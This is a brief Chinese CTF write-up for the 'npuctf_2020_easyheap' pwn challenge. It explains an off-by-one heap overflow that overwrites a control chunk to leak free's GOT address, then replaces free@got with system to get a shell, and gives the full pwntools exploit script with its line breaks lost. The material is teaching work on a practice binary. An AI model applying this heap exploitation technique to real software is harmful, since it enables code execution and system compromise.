
没有pie,可以改got表
漏洞在这,可以修改一个数组的内容,创建的堆块只有24和56.
可以看到其实是有一个控制堆块的,而且控制堆块和数据堆块是相邻的。
payload='a'*0x10+p64(0)+p64(0x21)+p64(100)+p64(elf.got['free'])##关键代码

然后show出来就可以看到free的地址了
from pwn import*from LibcSearcher import*context.log_level = 'debug'#context.arch = 'amd64'io =process('./npuctf_2020_easyheap')#io = remote("node4.buuoj.cn",26937)elf = ELF('./npuctf_2020_easyheap')#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')#libc = ELF('libc-2.27.so')def debug():gdb.attach(io)pause()def creat(size,value):io.recvuntil('Your choice :')io.sendline('1')io.recvuntil('Size of Heap(0x10 or 0x20 only) : ')io.sendline(str(size))io.recvuntil('Content:')io.sendline(value)def edit(Index,value):io.recvuntil('Your choice :')io.sendline('2')io.recvuntil('Index :')io.sendline(str(Index))io.recvuntil('Content: ')io.sendline(value)def show(index):io.recvuntil('Your choice :')io.sendline('3')io.recvuntil('Index :')io.sendline(str(index))def free(index):io.recvuntil('Your choice :')io.sendline('4')io.recvuntil('Index :')io.sendline(str(index))creat(24,'aaaa')creat(24,'bbbb')creat(24,'/bin/sh\x00')edit(0,'a'*0x18+'\x41')free(1)#debug()payload='a'*0x10+p64(0)+p64(0x21)+p64(0x40)+p64(elf.got['free'])creat(0x38,payload)#debug()show(1)io.recvuntil('Content : ')free_addr = u64(io.recvuntil('\x7f').ljust(8,'\x00'))log.success("free_addr:"+hex(free_addr))libc = LibcSearcher('free',free_addr)system_addr = free_addr - libc.dump('free')+libc.dump('system')edit(1,p64(system_addr))free(2)io.interactive()
